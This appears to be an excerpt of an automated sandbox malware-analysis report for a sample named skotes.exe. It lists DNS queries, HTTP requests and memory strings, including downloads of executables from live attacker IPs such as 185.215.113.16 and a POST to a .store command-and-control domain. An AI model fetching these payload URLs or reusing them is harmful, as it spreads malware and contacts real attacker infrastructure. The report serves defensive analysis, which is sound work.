Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_0098BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

7_2_0098BE30

Source: global traffic	HTTP traffic detected: GET /2qNi2 HTTP/1.1Connection: Keep-AliveUser-Agent: PingStringGoesHereHost: grabify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: PingStringGoesHereHost: telegram.org
Source: global traffic	HTTP traffic detected: GET /0L502C HTTP/1.1Connection: Keep-AliveUser-Agent: InstallFromUserHost: grabify.link
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: InstallFromUserHost: www.google.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /configuredInstallerEXE.exe HTTP/1.1Host: 154.216.17.34
Source: global traffic	HTTP traffic detected: GET /files/Loader_seyhhd.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29FDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.org/1999/xhtml_hasAnyPlayingMediaBeenBlocked_swapBrowserNotificationsKey must be non empty string.WillChangeBrowserRemoteness_autoScrollBrowsingContextcontentPartitionedPrincipal_fixLoadParamsToLoadURIOptionsDOMAudioPlaybackBlockStoppedget suspendMediaWhenInactiveDOMAudioPlaybackBlockStartedwebIsolated=https://youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://auth.9c9media.ca/auth/main.js://connect.facebook.net//all.js://www.googletagmanager.com/gtm.js://.imgur.com/js/vendor..bundle.js://libs.coremetrics.com/eluminate.js://www.google-analytics.com/analytics.jspictureinpicture%40mozilla.org:1.0.0://www.rva311.com/static/js/main..chunk.js://.imgur.io/js/vendor..bundle.js://ssl.google-analytics.com/ga.jswebcompat-reporter@mozilla.org.xpi://s0.2mdn.net/instream/html5/ima3.js://imasdk.googleapis.com/js/sdkloader/ima3.js://static.criteo.net/js/ld/publishertag.jsFileUtils_closeAtomicFileOutputStream@mozilla.org/addons/addon-manager-startup;1://www.everestjs.net/static/st.v3.jsFileUtils_closeSafeFileOutputStream://static.chartbeat.com/js/chartbeat_video.js://pub.doubleverify.com/signals/pub.js://track.adform.net/serving/scripts/trackpoint/://connect.facebook.net//sdk.js://www.google-analytics.com/gtm/js://www.google-analytics.com/plugins/ua/ec.js://www.googletagservices.com/tag/js/gpt.js://cdn.branch.io/branch-latest.min.js://web-assets.toggl.com/app/assets/scripts/.jswebcompat-reporter%40mozilla.org:1.5.1https://smartblock.firefox.etp/play.svg://c.amazon-adsystem.com/aax2/apstag.js*://static.chartbeat.com/js/chartbeat.jshttps://smartblock.firefox.etp/facebook.svgresource://services-settings/Utils.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000026.00000002.3683368813.000001FC2FEAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3683368813.000001FC2FEDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FBEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000026.00000002.3682799849.000001FC2FD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000026.00000002.3682799849.000001FC2FD0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000026.00000002.3682799849.000001FC2FD0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: addons-search-detection@mozilla.com://.adsafeprotected.com//Serving/resource://search-extensions/google/amazondotcom%40search.mozilla.org:1.6://www.facebook.com/platform/impression.phphttps://en.wikipedia.org/wiki/Special:Search*blocklisted:FEATURE_FAILURE_PARSE_DRIVER equals www.facebook.com (Facebook)
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://devtools/shared/security/socket.js^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$devtools-commandkey-profiler-capture@mozilla.org/dom/slow-script-debug;1devtools-commandkey-profiler-start-stopdevtools/client/framework/devtoolsDevTools telemetry entry point failed: Failed to listen. Callback argument missing.Failed to execute WebChannel callback:JSON Viewer's onSave failed in startPersistence@mozilla.org/network/protocol;1?name=defaultreleaseDistinctSystemPrincipalLoaderdevtools.debugger.features.javascript-tracingand deploy previews URLs are allowed.Unable to start devtools server on {9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}devtools.performance.recording.ui-base-urlFailed to listen. Listener already attached.No callback set for this channel.@mozilla.org/uriloader/handler-service;1browser and that URL. Falling back to devtools.debugger.remote-websocketget FIXUP_FLAG_FORCE_ALTERNATE_URIScheme should be either http or httpsextractScheme/fixupChangedProtocol<resource://gre/modules/FileUtils.sys.mjs_injectDefaultProtocolHandlersIfNeededisDownloadsImprovementsAlreadyMigratedresource://gre/modules/JSONFile.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s{33d75835-722f-42c0-89cc-44f328e56a86}https://mail.yahoo.co.jp/compose/?To=%shttps://poczta.interia.pl/mh/?mailto=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s^([a-z+.-]+:\/{0,3})([^\/@]+@).+handlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/web-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/DeferredTask.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}browser.fixup.domainsuffixwhitelist.^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?Can't invoke URIFixup in the content processhttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjshttp://poczta.interia.pl/mh/?mailto=%sgecko.handlerService.defaultHandlersVersionget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URI_finalizeInternal/this._finalizePromise<resource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjsMust have a source and a callback@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1First argument should be an nsIInputStream@mozilla.org/scriptableinputstream;1@mozilla.org/network/async-stream-copier;1Non-zero amount of bytes must be specifiedhttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%snewChannel requires a single object argumentSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLhttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/intl/converter-input-stream;1https://mail.inbox.lv/compose?to=%s@mozilla.org/network/file-input-stream;1_setUpMenulistPopup/</this._scrollTimer< equals www.yahoo.com (Yahoo)
Source: firefox.exe, 00000026.00000002.3683368813.000001FC2FEAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3683368813.000001FC2FEDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FBEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000026.00000002.3683368813.000001FC2FEAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3683368813.000001FC2FE5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FBE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: grabify.org
Source: global traffic	DNS traffic detected: DNS query: telegram.org
Source: global traffic	DNS traffic detected: DNS query: grabify.link
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 00000026.00000002.3329290402.000001FC1DD6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3657398984.000001FC2DB16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: skotes.exe, 00000007.00000002.3311124337.0000000001448000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.3311124337.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://154.216.17.34/configuredInstallerEXE.exe
Source: skotes.exe, 00000007.00000002.3311124337.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://154.216.17.34/configuredInstallerEXE.exeB
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000007.00000002.3311124337.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/2v
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49Run
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/fac00b58987e8fff7a7df309c5441f056fc4d18
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe_
Source: file.exe, 00000000.00000003.2258614357.0000000005955000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000007.00000002.3311124337.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe
Source: skotes.exe, 00000007.00000002.3311124337.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe1002758001
Source: skotes.exe, 00000007.00000002.3311124337.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe74c613
Source: skotes.exe, 00000007.00000002.3311124337.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe74c61395d7f
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe8
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exeD
Source: skotes.exe, 00000007.00000002.3311124337.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exed7
Source: skotes.exe, 00000007.00000002.3311124337.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exeec613a
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exeemp
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exeh
Source: skotes.exe, 00000007.00000002.3311124337.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exem-urlencoded
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exep
Source: skotes.exe, 00000007.00000002.3311124337.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exersion
